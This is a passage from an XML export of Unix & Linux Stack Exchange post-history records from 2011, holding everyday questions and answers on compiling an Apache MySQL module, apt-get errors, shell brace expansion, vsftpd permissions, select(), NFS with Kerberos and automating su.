mod_auth_mysql.c:611: error: (near initialization for 'mysql_auth_cmds[5].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:615: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:615: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:615: error: (near initialization for 'mysql_auth_cmds[6].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:619: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:619: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:619: error: (near initialization for 'mysql_auth_cmds[7].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:623: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:623: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:623: error: (near initialization for 'mysql_auth_cmds[8].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:627: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:627: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:627: error: (near initialization for 'mysql_auth_cmds[9].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:631: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:631: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:631: error: (near initialization for 'mysql_auth_cmds[10].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:635: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:635: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:635: error: (near initialization for 'mysql_auth_cmds[11].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:639: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:639: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:639: error: (near initialization for 'mysql_auth_cmds[12].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:643: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:643: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:643: error: (near initialization for 'mysql_auth_cmds[13].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:651: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:651: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:651: error: (near initialization for 'mysql_auth_cmds[14].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:655: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:655: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:655: error: (near initialization for 'mysql_auth_cmds[15].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:659: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:659: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:659: error: (near initialization for 'mysql_auth_cmds[16].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:663: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:663: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:663: error: (near initialization for 'mysql_auth_cmds[17].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:667: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:667: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:667: error: (near initialization for 'mysql_auth_cmds[18].cmd_data')&#xD;&#xA;    mod_auth_mysql.c:671: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;    mod_auth_mysql.c:671: error: initializer element is not constant&#xD;&#xA;    mod_auth_mysql.c:671: error: (near initialization for 'mysql_auth_cmds[19].cmd_data')&#xD;&#xA;    mod_auth_mysql.c: In function 'format_request':&#xD;&#xA;    mod_auth_mysql.c:947: warning: pointer/integer type mismatch in conditional expression&#xD;&#xA;    apxs:Error: Command failed with rc=65536&#xD;&#xA;&#xD;&#xA;Seems like the mysql library do not match what the code expect. I looked around and it seems to be the last available version of the module although is getting old (june 2005).&#xD;&#xA;&#xD;&#xA;Has anyone made it work with a similar setup? &#xD;&#xA;I've been tweaking around for half a day without any success :-(&#xD;&#xA;" />
  <row Id="18115" PostHistoryTypeId="6" PostId="7729" RevisionGUID="e8029d78-8b0b-4111-842d-46e92546db99" CreationDate="2011-02-21T01:00:01.170" UserId="885" Comment="formatting; grammar" Text="écompilingàéapacheàémysqlàéslackwareàémoduleà" />
  <row Id="18116" PostHistoryTypeId="5" PostId="7732" RevisionGUID="92de6ad3-bf66-4255-ba67-88e0d966588c" CreationDate="2011-02-21T01:13:46.827" UserId="2421" Comment="added 627 characters in body" Text="[`stat`][1]  from [GNU coreutils][2] can do this:&#xD;&#xA;&#xD;&#xA;    stat -c '%U' /path/of/file/or/directory&#xD;&#xA;&#xD;&#xA;Unfortunately, there are a number of versions of `stat`, and there's not a lot of consistency in their syntax.  For example, on FreeBSD, it would be&#xD;&#xA;&#xD;&#xA;    stat -f '%Su' /path/of/file/or/directory&#xD;&#xA;&#xD;&#xA;If portability is a concern, you're probably better off using [Gilles's suggestion][3] of combining `ls` and `cut`.  It has to start two processes instead of one, but it has the advantage of using only POSIX-standard functionality:&#xD;&#xA;&#xD;&#xA;    ls -ld /path/of/file/or/directory | cut -d ' ' -f 3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/html_node/stat-invocation.html&#xD;&#xA;  [2]: http://www.gnu.org/software/coreutils/&#xD;&#xA;  [3]: http://unix.stackexchange.com/questions/7730/find-the-owner-of-a-directory-or-file-but-only-return-that-and-nothing-else/7733#7733" />
  <row Id="18117" PostHistoryTypeId="25" PostId="7727" RevisionGUID="e17fab39-6f56-407f-ba11-a62894686f7c" CreationDate="2011-02-21T02:23:14.107" Comment="http://twitter.com/#!/StackUnix/status/39510425846415360" />
  <row Id="18118" PostHistoryTypeId="2" PostId="7736" RevisionGUID="486e9b9b-74ad-44d9-a093-9367fcf7a160" CreationDate="2011-02-21T02:39:58.423" UserId="4069" Text="I dont understand how or why apt-get install failed. It mentions ssmtp which is simple smtp which i use to send mail from my server to my google apps account. I dont understand what is wrong or how to fix it.&#xD;&#xA;&#xD;&#xA;I am using debian squeeze.&#xD;&#xA;&#xD;&#xA;    # apt-get install ffmpeg&#xD;&#xA;    ...&#xD;&#xA;    Setting up libswscale0 (4:0.5.2-6) ...&#xD;&#xA;    Setting up ffmpeg (4:0.5.2-6) ...&#xD;&#xA;    Errors were encountered while processing:&#xD;&#xA;     ssmtp&#xD;&#xA;    E: Sub-process /usr/bin/dpkg returned an error code (1)&#xD;&#xA;    &#xD;&#xA;    # sudo apt-get install ffmpeg&#xD;&#xA;    sudo: unable to resolve host debian&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree&#xD;&#xA;    Reading state information... Done&#xD;&#xA;    ffmpeg is already the newest version.&#xD;&#xA;    0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.&#xD;&#xA;    1 not fully installed or removed.&#xD;&#xA;    After this operation, 0 B of additional disk space will be used.&#xD;&#xA;    Do you want to continue [Y/n]? y&#xD;&#xA;    Setting up ssmtp (2.64-4) ...&#xD;&#xA;    hostname: Name or service not known&#xD;&#xA;    dpkg: error processing ssmtp (--configure):&#xD;&#xA;     subprocess installed post-installation script returned error exit status 1&#xD;&#xA;    configured to not write apport reports&#xD;&#xA;                                          Errors were encountered while processing:&#xD;&#xA;     ssmtp&#xD;&#xA;    E: Sub-process /usr/bin/dpkg returned an error code (1)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18119" PostHistoryTypeId="1" PostId="7736" RevisionGUID="486e9b9b-74ad-44d9-a093-9367fcf7a160" CreationDate="2011-02-21T02:39:58.423" UserId="4069" Text="Why did apt-get install ffmpeg fail?" />
  <row Id="18120" PostHistoryTypeId="3" PostId="7736" RevisionGUID="486e9b9b-74ad-44d9-a093-9367fcf7a160" CreationDate="2011-02-21T02:39:58.423" UserId="4069" Text="édebianàéaptögetàéffmpegà" />
  <row Id="18121" PostHistoryTypeId="2" PostId="7737" RevisionGUID="59517484-d8f7-44f9-b2af-5fd1d20d5c8c" CreationDate="2011-02-21T02:43:12.430" UserId="138" Text="I'm guessing that you set your system's host name to &quot;debian&quot; when setting it up. The installer should have added an entry for that to `/etc/hosts`, but it seems to not be there any longer.&#xD;&#xA;&#xD;&#xA;Add an entry like this, if you don't see a line with &quot;debian&quot; on it already:&#xD;&#xA;&#xD;&#xA;    127.0.0.1    debian&#xD;&#xA;&#xD;&#xA;You'll have to start your text editor with `sudo` to be allowed to save the changes." />
  <row Id="18122" PostHistoryTypeId="2" PostId="7738" RevisionGUID="079a128b-f00c-43cf-95d2-f01ed2c43a41" CreationDate="2011-02-21T02:52:07.343" UserId="2343" Text="I want to use $var in a shell brace expansion.   &#xD;&#xA;Simply putting {$var1..$var2} doesn't work, so I went &quot;lateral&quot;... &#xD;&#xA;&#xD;&#xA;The following works, but it's a bit kludgey.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # remove the split files&#xD;&#xA;    echo rm foo.{$ext0..$extN} rm-segments &gt; rm-segments&#xD;&#xA;    source rm-segments&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is there a more &quot;normal&quot; way?   &#xD;&#xA;&#xD;&#xA;" />
  <row Id="18123" PostHistoryTypeId="1" PostId="7738" RevisionGUID="079a128b-f00c-43cf-95d2-f01ed2c43a41" CreationDate="2011-02-21T02:52:07.343" UserId="2343" Text="How can I use $var in a shell brace expansion of a sequence?" />
  <row Id="18124" PostHistoryTypeId="3" PostId="7738" RevisionGUID="079a128b-f00c-43cf-95d2-f01ed2c43a41" CreationDate="2011-02-21T02:52:07.343" UserId="2343" Text="ébashàéshellà" />
  <row Id="18125" PostHistoryTypeId="4" PostId="7727" RevisionGUID="7a89ee0d-ec58-48a4-9722-3963f2adad0d" CreationDate="2011-02-21T02:57:10.533" UserId="250" Comment="edit title to include LVM" Text="Choosing the file system to use with LVM" />
  <row Id="18126" PostHistoryTypeId="2" PostId="7739" RevisionGUID="e706a5b0-7080-48b2-9b23-61d89c2e0c6d" CreationDate="2011-02-21T03:23:15.497" UserId="3519" Text="You may want to try :&#xD;&#xA;&#xD;&#xA;    eval rm foo.{$ext0..$extN}&#xD;&#xA;&#xD;&#xA;Not sure weather this is the best answer, but it certainly is one." />
  <row Id="18127" PostHistoryTypeId="2" PostId="7740" RevisionGUID="1464307c-9458-44de-b0a0-55d41afc50f2" CreationDate="2011-02-21T04:06:20.583" UserId="4937" Text="I have a server setup with Ubuntu, Apache2 and VSFTPD. We virtual host several sites on this machine. Typically, I use the same process to set up the new sites, but the default permissions for some are different than the others.&#xD;&#xA;&#xD;&#xA;For some sites, I can upload new files and directories through FTP and they receive 644 and 755 permissions respectively. Just how I want them by default. &#xD;&#xA;&#xD;&#xA;For other sites, they receive 0 or 600 as the default new file permission. I have to manually change each file to 644. &#xD;&#xA;&#xD;&#xA;I'm by no means an expert, but I've checked the permissions and the ownership and it all seems to be the same. What am I missing?&#xD;&#xA;&#xD;&#xA;PS - I'm sure I left out some relevant information. Please let me know what else I need to provide.&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="18128" PostHistoryTypeId="1" PostId="7740" RevisionGUID="1464307c-9458-44de-b0a0-55d41afc50f2" CreationDate="2011-02-21T04:06:20.583" UserId="4937" Text="Default File Permissions - Ubuntu &amp; VSFTPD" />
  <row Id="18129" PostHistoryTypeId="3" PostId="7740" RevisionGUID="1464307c-9458-44de-b0a0-55d41afc50f2" CreationDate="2011-02-21T04:06:20.583" UserId="4937" Text="éubuntuàépermissionsàéapacheà" />
  <row Id="18130" PostHistoryTypeId="5" PostId="7740" RevisionGUID="ea387b06-80a6-494d-9c11-aefdef976d07" CreationDate="2011-02-21T04:13:57.177" UserId="4937" Comment="added 30 characters in body" Text="I have a server setup with Ubuntu, Apache2 and VSFTPD. We virtual host several sites on this machine. Typically, I use the same process to set up the new sites, but the default permissions for some are different than the others.&#xD;&#xA;&#xD;&#xA;For some sites, I can upload new files and directories through FTP and they receive 644 and 755 permissions respectively. Just how I want them by default. &#xD;&#xA;&#xD;&#xA;For other sites, they receive 0 or 600 as the default new file permission. I have to manually change each file to 644. This is slow and a pain to do.&#xD;&#xA;&#xD;&#xA;I'm by no means an expert, but I've checked the permissions and the ownership and it all seems to be the same. What am I missing?&#xD;&#xA;&#xD;&#xA;PS - I'm sure I left out some relevant information. Please let me know what else I need to provide.&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="18131" PostHistoryTypeId="2" PostId="7741" RevisionGUID="28ec1159-ec5e-4275-a1fb-262cfaf7aeac" CreationDate="2011-02-21T04:43:09.463" UserId="4938" Text="My approach to this issue is to use init and its built-in respawn directive to start/restart whatever you need to run. This was its original intent and main purpose. In some cases you will need to run a script to cleanup after a process has died, or to prepare for the process to start (most of the time the work is the same). In most cases a bash script that ends in exec &lt;program&gt; works great for this.&#xD;&#xA;" />
  <row Id="18132" PostHistoryTypeId="2" PostId="7742" RevisionGUID="fcc90601-5cdc-4d66-b356-cab1b560fa59" CreationDate="2011-02-21T04:57:56.793" UserId="250" Text="From `man select`&#xD;&#xA;&#xD;&#xA;    int select(int nfds, fd_set *readfds, fd_set *writefds,&#xD;&#xA;               fd_set *exceptfds, struct timeval *timeout);&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;nfds is the highest-numbered file descriptor in any of the three sets, plus 1.&#xD;&#xA;&#xD;&#xA;What is the purpose of `nfds`, when we already have `readfds`, `writefds` and `exceptfds`, from which the file descriptors can be determined?" />
  <row Id="18133" PostHistoryTypeId="1" PostId="7742" RevisionGUID="fcc90601-5cdc-4d66-b356-cab1b560fa59" CreationDate="2011-02-21T04:57:56.793" UserId="250" Text="What's the purpose of the first argument to select system call?" />
  <row Id="18134" PostHistoryTypeId="3" PostId="7742" RevisionGUID="fcc90601-5cdc-4d66-b356-cab1b560fa59" CreationDate="2011-02-21T04:57:56.793" UserId="250" Text="écàésystemöcallsàéapià" />
  <row Id="18135" PostHistoryTypeId="2" PostId="7743" RevisionGUID="a3e495b6-e905-4ed5-881e-f2761448a2e9" CreationDate="2011-02-21T05:04:35.773" UserId="732" Text="I don't know for sure, since I'm not one of the designers of select(), but I'd say it's a performance optimization. The calling function knows how many file descriptors it put in the read, write and except FDs, so why should the kernel figure it out again?&#xD;&#xA;&#xD;&#xA;Remember that in the early 80s, when select() got introduced, they didn't have multi-gigaghertz, multi-processors to work with. A 25 MHz VAX was pretty doggone fast.  Plus, you wanted select() to work fast if it could: if some I/O was waiting for the process, why make the process wait?" />
  <row Id="18136" PostHistoryTypeId="25" PostId="7738" RevisionGUID="6d2200bc-fd98-424f-a3a4-df4d72d9fbe5" CreationDate="2011-02-21T05:23:14.460" Comment="http://twitter.com/#!/StackUnix/status/39555724975681537" />
  <row Id="18137" PostHistoryTypeId="2" PostId="7744" RevisionGUID="71566c7d-5b84-41a2-b99a-edcc438fa513" CreationDate="2011-02-21T05:26:27.323" UserId="4120" Text="I'm actually using NFS v3 + Kerberos between some boxes at home (mix of CentOS 5 and Gentoo clients and servers, with Gentoo KDCs). To get it to work, I ended up using an /etc/exports entry that looks like:&#xD;&#xA;&#xD;&#xA;    /export hostname.local.lan(rw,insecure,sync,sec=krb5p:krb5i:krb5)&#xD;&#xA;&#xD;&#xA;On the client, /etc/fstab contains:&#xD;&#xA;&#xD;&#xA;    hostname.local.lan:/export   /nfs/hostname/export   nfs sec=krb5p,nfsvers=3,mountvers=3,proto=tcp,acl,rw,soft,bg,intr 0 0&#xD;&#xA;&#xD;&#xA;When mounted, 'mount' returns the following for that filesystem:&#xD;&#xA;&#xD;&#xA;    hostname.local.lan:/export on /nfs/hostname/export type nfs (rw,sec=krb5p,nfsvers=3,mountvers=3,proto=tcp,acl,soft,bg,intr,addr=192.168.1.15)&#xD;&#xA;&#xD;&#xA;From the NFSv4 experiments, I do still have rpc.idmapd running, but I don't think it's needed for v3.&#xD;&#xA;&#xD;&#xA;The last tricky bit was the /etc/exports bit when I set it up.  A lot of tutorials list something else like the gss/krb5 export entry you have above,&#xD;&#xA;but that never worked for me, although if you read the nfs utils source, it looks like it should.&#xD;&#xA;&#xD;&#xA;I hope this steers someone else in the right direction.  Good luck.&#xD;&#xA;" />
  <row Id="18138" PostHistoryTypeId="4" PostId="7736" RevisionGUID="9f5c1b02-3b33-4872-a776-598668be74df" CreationDate="2011-02-21T06:02:43.840" UserId="688" Comment="edited title" Text="Why did 'apt-get install ffmpeg' fail?" />
  <row Id="18139" PostHistoryTypeId="2" PostId="7745" RevisionGUID="e1b210af-fe50-4bb6-bc65-d09e7d02ef18" CreationDate="2011-02-21T06:30:15.887" UserId="4520" Text="The Linux Kernel scales well because that is what it is.  The core kernel is relatively small and does what it need to do.  Device drivers are optional and can be left out of the kernel for smaller systems.  The beyond the minimal kernel requirements most functionality is implemented as optional features.  &#xD;&#xA;&#xD;&#xA;Take a look at the config file installed next to most kernels.  It will list all the features which were turned on as well as which drivers are supported.  &#xD;&#xA;&#xD;&#xA;Drivers are supported either embedded in the kernel or as loadable modules.  This allows a kernel to be dynamically configured to the hardware it is running on.  This is the the approach used by many distributions.&#xD;&#xA;&#xD;&#xA;Other than having the compilation tools, modifying the kernel for new hardware is relatively simple.  For a new processor only the related code needs to be implemented as modifications to the existing functionality.  New devices only require a new driver with the relevant hooks.  New file systems are likewise relatively trivial modifications.&#xD;&#xA;&#xD;&#xA;The code base has been well maintained to keep this flexibility without external forking.  Conditional compilation drives a very flexible kernel which has been kept as minimal as possible.  &#xD;&#xA;" />
  <row Id="18140" PostHistoryTypeId="2" PostId="7746" RevisionGUID="4fcb587d-738f-4dcd-8e14-97c7b78d38ef" CreationDate="2011-02-21T06:57:53.270" UserId="4942" Text="I would start by looking at the library of bash completions already put together by the folks here:&#xD;&#xA;&#xD;&#xA;http://bash-completion.alioth.debian.org/&#xD;&#xA;&#xD;&#xA;They also have a mailing list:&#xD;&#xA;&#xD;&#xA;http://lists.alioth.debian.org/mailman/listinfo/bash-completion-devel" />
  <row Id="18141" PostHistoryTypeId="2" PostId="7747" RevisionGUID="7c1b5597-bb54-41a2-abfe-536fd04ca44d" CreationDate="2011-02-21T07:40:35.933" UserId="1594" Text="I suspect `su` doesn't have any way to allow passing the password from the shell instead of being prompted for one, for security reasons (couldn't find anything in the MAN). Is this true?" />
  <row Id="18142" PostHistoryTypeId="1" PostId="7747" RevisionGUID="7c1b5597-bb54-41a2-abfe-536fd04ca44d" CreationDate="2011-02-21T07:40:35.933" UserId="1594" Text="Is it possible to su without being prompted for a password?" />
  <row Id="18143" PostHistoryTypeId="3" PostId="7747" RevisionGUID="7c1b5597-bb54-41a2-abfe-536fd04ca44d" CreationDate="2011-02-21T07:40:35.933" UserId="1594" Text="ésuà" />
  <row Id="18144" PostHistoryTypeId="2" PostId="7748" RevisionGUID="7ccce6d2-4087-4721-8f1a-b1ae4fb89b75" CreationDate="2011-02-21T08:03:43.970" UserId="4194" Text="That's true, there is no way to have su(1) redirect its input from a place other than the tty.  But there are libraries and programs to simulate a terminal for automated scripting, for example, Expect.  Something similar to:&#xD;&#xA;&#xD;&#xA;    stty echo&#xD;&#xA;    log_user 0&#xD;&#xA;    set timeout 2&#xD;&#xA;    if [catch &quot;spawn su root&quot; reason] {&#xD;&#xA;        send_user &quot;Failed to spawn su: $reason\n&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    }&#xD;&#xA;    expect &quot;Password:&quot;&#xD;&#xA;    send &quot;$PASSWORD\r&quot;&#xD;&#xA;    expect &quot;\r\n&quot;&#xD;&#xA;    #set timeout 5&#xD;&#xA;    log_user 1&#xD;&#xA;    expect {&#xD;&#xA;        &quot;# &quot; {send_user &quot;\nsu successful.\n&quot;}&#xD;&#xA;        timeout {send_user &quot;\nsu timed out.\n&quot;; exit 1}&#xD;&#xA;        &quot;incorrect&quot; {send_user &quot;\nsu failed.\n&quot;; exit 1}&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="18145" PostHistoryTypeId="2" PostId="7749" RevisionGUID="5aed4442-ffa0-4660-9154-d292f5c7eaf6" CreationDate="2011-02-21T08:14:44.100" UserId="4120" Text="Can you add SUBSYSTEM==&quot;usb&quot; to the beginning of that rule?&#xD;&#xA;&#xD;&#xA;If the version of udev is old enough (no idea what Arch uses, sorry), it might be BUS==&quot;usb&quot;, instead.&#xD;&#xA;&#xD;&#xA;What are the permissions on the device?&#xD;&#xA;&#xD;&#xA;If none of that helps, can you show us the &quot;udevadm info&quot; output for that device?&#xD;&#xA;" />
  <row Id="18146" PostHistoryTypeId="25" PostId="7747" RevisionGUID="0b599f82-283f-4c15-b86b-72b3d1bcfbe1" CreationDate="2011-02-21T08:23:14.627" Comment="http://twitter.com/#!/StackUnix/status/39601024566177792" />
  <row Id="18147" PostHistoryTypeId="2" PostId="7750" RevisionGUID="9b505750-083c-44f1-abf6-8f98d014da70" CreationDate="2011-02-21T08:33:03.743" UserId="4120" Text="If you had a backup of /etc/lvm/backup/data or perhaps even /etc/lvm/archive/data_* from before the reinstall it would help a great deal.   You could use vgcfgrestore with the old config to rebuild the VG.&#xD;&#xA;&#xD;&#xA;At any point before the vgcreate, you could probably have run vgscan and &quot;vgchange -a y&quot; to activate data and get it running again.  &#xD;&#xA;&#xD;&#xA;Now that you ran vgcreate, the options are more limited... I am assuming that vgs now shows an empty data VG.&#xD;&#xA;&#xD;&#xA;Another option, if you happen to know the exact layout of the volumes on /dev/sdb, it is possible to create LVs in those exact positions and sometimes mount filesystems that are there... but it's tricky and I wouldn't want to do it&#xD;&#xA;unless I had no other choice, because the PEs have to be used in the *exact* same order.&#xD;&#xA;" />
  <row Id="18149" PostHistoryTypeId="2" PostId="7752" RevisionGUID="2e653941-515a-42a4-99a0-5b28cfa5fd4a" CreationDate="2011-02-21T08:44:23.607" UserId="3041" Text="switching distros will not help you much, since your problem is i/o performance like you assumed. different distro will only help if you go with a very small one, which in turn will most likely not have the packagebase of ubuntu availible.&#xD;&#xA;&#xD;&#xA;you might have some success with building a custom ubuntu-based live-cd, but then again, you would have to leave out the big packages like gnome etc, so there would not be really a point in using ubuntu in the first place." />
  <row Id="18150" PostHistoryTypeId="2" PostId="7753" RevisionGUID="78209425-fa10-4b99-bbca-5d9bc2b16552" CreationDate="2011-02-21T08:54:27.363" UserId="3913" Text="Has anyone tried doing it via ssh_config? Maybe this could help http://www.techrepublic.com/blog/opensource/set-up-user-accounts-quickly-and-securely/86&#xD;&#xA;&#xD;&#xA;&gt; Also, ensure that PasswordAuthentication is set to no as well, to force all logins to use public keys.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18151" PostHistoryTypeId="2" PostId="7754" RevisionGUID="cfb95bcd-da5a-4009-89f5-3bc8e1e8b81b" CreationDate="2011-02-21T09:10:00.373" UserId="4120" Text="I realize this isn't exactly the OS you are using, but for CentOS 5.5, I just created /etc/sysconfig/network-scripts/ifcfg-sit1:&#xD;&#xA;&#xD;&#xA;    BOOTPROTO=&quot;none&quot;&#xD;&#xA;    DEVICE=&quot;sit1&quot;&#xD;&#xA;    IPV6INIT=yes&#xD;&#xA;    IPV6TUNNELIPV4=xx.xx.xx.xx&#xD;&#xA;    IPV6TUNNELIPV4LOCAL=yy.yy.yy.yy&#xD;&#xA;    IPV6ADDR=&quot;2001:xxx:x:xxx::x/64&quot;&#xD;&#xA;    ONBOOT=yes&#xD;&#xA;&#xD;&#xA;For the remote tunnel endpoint (xx.xx.xx.xx), it can be found on the tunnelbroker.net site , and the local one (yy.yy.yy.yy) is just my internal (behind NAT) IPv4 address.&#xD;&#xA;&#xD;&#xA;The tunnel does seem to take some time to come up.  Still looking into that, actually." />
  <row Id="18152" PostHistoryTypeId="2" PostId="7755" RevisionGUID="2be853ec-55d1-4866-b53f-ac75c2d96883" CreationDate="2011-02-21T09:19:36.427" UserId="4949" Text="It's an incredibly bad idea, but if you really want to do it you can use sudo's NOPASSWD option: &#xD;&#xA;&#xD;&#xA;    In /etc/sudoers: &#xD;&#xA;    # User privilege specification&#xD;&#xA;    johndoe  ALL=(ALL) NOPASSWD:ALL&#xD;&#xA;&#xD;&#xA;Then user johndoe can do `sudo su` and wind up with a root prompt without ever being asked for a password.&#xD;&#xA;&#xD;&#xA;I reiterate, though, that this is a REALLY BAD IDEA in most circumstances. Sudo, preferably /without/ the nopasswd flag is significantly safer." />
  <row Id="18153" PostHistoryTypeId="2" PostId="7756" RevisionGUID="7dc425d1-b8a9-4c20-8a1f-7f73e5c7343c" CreationDate="2011-02-21T09:32:48.917" UserId="3169" Text="In [&quot;Advanced Programming in the UNIX Environment&quot;][1], W. Richard Stevens says it is a performance optimization:&#xD;&#xA;&#xD;&#xA;&gt; By specifying the highest descriptor we're interested in, the kernel can avoid going through hundred of unused bits in the three descriptor sets, looking for bits that are turned on.&#xD;&#xA;&#xD;&#xA;(1st edition, page 399)&#xD;&#xA;&#xD;&#xA;If you are doing UNIX programming, this book is highly recommended.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.apuebook.com/" />
  <row Id="18154" PostHistoryTypeId="2" PostId="7757" RevisionGUID="ed807a0a-0315-4e01-acab-c1878459bd5e" CreationDate="2011-02-21T10:40:38.483" UserId="1447" Text="What you're probably looking for is the &quot;umask&quot; parameter. If you're uploading files through vsftpd, the behaviour depends upon the way vsftpd is configured. If it is set up to use system users, you must modify the &quot;local_umask&quot; vsftpd parameter in the configuration file from the default 077 value to 022.&#xD;&#xA;&#xD;&#xA;Don't forget to uncomment the line, too, and restart the vsftpd daemon." />
  <row Id="18155" PostHistoryTypeId="2" PostId="7758" RevisionGUID="296a1abc-bcdb-4c7c-a929-d86bb65c3845" CreationDate="2011-02-21T10:42:16.873" UserId="4297" Text="The correct way according to `usermod(8)` is:&#xD;&#xA;&#xD;&#xA;    usermod --lock --expiredate 1970-01-01 &lt;username&gt;&#xD;&#xA;&#xD;&#xA;(Actually, the argument to `--expiredate` can be any date before the current date in the format `YYYY-MM-DD`.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Explanation:&#xD;&#xA;&#xD;&#xA;- `--lock` locks the user's password. However, login by other methods (e.g. public key) is still possible.&#xD;&#xA;&#xD;&#xA;- `--expiredate YYYY-MM-DD` disables the account at the specified date.&#xD;&#xA;&#xD;&#xA;I've tested this on my machine. Neither login with password nor public key is possible after executing this command." />
  <row Id="18156" PostHistoryTypeId="2" PostId="7759" RevisionGUID="6a3b6433-5809-4023-8899-72ba548c0b28" CreationDate="2011-02-21T10:50:40.913" UserId="4241" Text="Well, if no-one else is writing answer for this question (instead of valid comments), I'll do it.&#xD;&#xA;&#xD;&#xA;[bootchart.org][1] is tool for doing exactly this.&#xD;&#xA;&#xD;&#xA;&gt; Bootchart is a tool for performance analysis and visualization of the GNU/Linux boot process. &#xD;&#xA;&#xD;&#xA;There is rather good page explaining how it works: [Bootchart - How it works?][2]. In short, it's wrapper for normal `init` script. See for example [this document][3] for more information on `init`.&#xD;&#xA;&#xD;&#xA;That wrapper script then starts normal `init` and collects statistics from various places (`/proc/stat`, `/proc/diskstats`, `/proc/[PID]/stat`) as early as possible.&#xD;&#xA;&#xD;&#xA;  [1]: http://bootchart.org&#xD;&#xA;  [2]: http://www.bootchart.org/docs.html &quot;Bootchart - How it works?&quot;&#xD;&#xA;  [3]: http://www.yolinux.com/TUTORIALS/LinuxTutorialInitProcess.html" />
  <row Id="18157" PostHistoryTypeId="2" PostId="7760" RevisionGUID="f26a4275-e3d5-437c-9cd5-eb5cc17cc86e" CreationDate="2011-02-21T10:57:00.377" UserId="4463" Text="Can anybody explain me what is the meaning of the last column of the output of the `last` command? I'm particularly interested in its meaning with respect to the `reboot` pseudo-user.&#xD;&#xA;&#xD;&#xA;P.S. can anyone properly tag it as `last` `reboot` or `wtmp`? I don't have enough reputation. Thanks." />
  <row Id="18158" PostHistoryTypeId="1" PostId="7760" RevisionGUID="f26a4275-e3d5-437c-9cd5-eb5cc17cc86e" CreationDate="2011-02-21T10:57:00.377" UserId="4463" Text="Output of the last command" />
  <row Id="18159" PostHistoryTypeId="3" PostId="7760" RevisionGUID="f26a4275-e3d5-437c-9cd5-eb5cc17cc86e" CreationDate="2011-02-21T10:57:00.377" UserId="4463" Text="éshellàélogsà" />
  <row Id="18160" PostHistoryTypeId="2" PostId="7761" RevisionGUID="a74bfe55-e764-4932-8118-35d7e3b23e13" CreationDate="2011-02-21T10:57:22.150" UserId="4241" Text="In case of FUSE and ZFS, performance is awful, and that's understandable. &#xD;&#xA;&#xD;&#xA;FreeBSD [tuning guide][1] gives some pointers on this. Article is long, and there is many specific points for different architectures, so I won't copy it to here. Most important point is that you need lots of memory, one gigabyte being minimum.&#xD;&#xA;&#xD;&#xA;raidz only helps if disk IO performance is your bottleneck. If it's software bugs, processor or memory, it's not going to be better with that.&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.freebsd.org/ZFSTuningGuide" />
  <row Id="18161" PostHistoryTypeId="2" PostId="7762" RevisionGUID="6461f591-c0d9-40aa-adb1-d99e43932b52" CreationDate="2011-02-21T11:02:33.513" UserId="4241" Text="After you started it with root, it changed permissions of some files and temporary folders. After that, it's not possible to start it with normal user anymore.&#xD;&#xA;&#xD;&#xA;You can try reinstalling it, or running for example&#xD;&#xA;&#xD;&#xA;    strace ktorrent&#xD;&#xA;&#xD;&#xA;to get error messages. Also, you should check ktorrent logs." />
